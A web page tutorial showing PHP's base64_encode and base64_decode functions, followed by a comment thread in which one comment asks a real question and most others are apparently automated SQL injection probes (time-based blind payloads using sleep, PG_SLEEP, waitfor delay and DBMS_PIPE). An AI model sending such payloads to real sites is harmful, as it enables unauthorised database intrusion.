A virtual teacher who reveals to you the great secrets of Base64

PHP Base64

PHP is a general-purpose scripting language used actively for developing Web applications. At this moment is one of the leaders among the languages used to create dynamic Web sites. Since PHP supports sending and receiving network requests, processing data, and sending emails, it would be strange if this programming language did not support such useful functions for encoding and decoding data using the Base64 algorithm.

To encode data to Base64 in PHP, use the function base64_encode:

<?php
echo base64_encode('guru'); //-> "Z3VydQ=="

And of course, the reverse process — to decode Base64 values use the function base64_decode:

<?php
echo base64_decode('Z3VydQ=='); //-> "guru"

As you can see, there is nothing complicated. However, if you have any questions, look at the following examples:

Comments (25)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Tim_S,
    There seems to be more to know than the base64_encode function. I have an application that sends PDFs every once in a while and sometimes they do not reach the recipients. A mere chunk_split(base64_encode($data)) does not do the job.
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    -1" OR 2+61-61-1=0+0+0+1 --
  • nqhXncMU,
    UUWtIXzx')) OR 926=(SELECT 926 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • nqhXncMU,
    -1' OR 2+803-803-1=0+0+0+1 or 'u8Xqu52D'='
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    bpbZSUfK') OR 494=(SELECT 494 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    if(now()=sysdate(),sleep(15),0)
  • gBqsPxAZ,
    7zutizMj')) OR 402=(SELECT 402 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -1; waitfor delay '0:0:15' --
  • gBqsPxAZ,
    -5 OR 268=(SELECT 268 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1)) OR 776=(SELECT 776 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    uk7XfLMp') OR 938=(SELECT 938 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -1; waitfor delay '0:0:15' --
  • ncMUFCMU,
    if(now()=sysdate(),sleep(15),0)
  • ncMUFCMU,
    8jyz2Nhz')) OR 390=(SELECT 390 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • ncMUFCMU,
    -1)) OR 717=(SELECT 717 FROM PG_SLEEP(15))--
  • nqhXncMU,
    VvgRk85f'; waitfor delay '0:0:15' --
  • nqhXncMU,
    1 waitfor delay '0:0:15' --
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.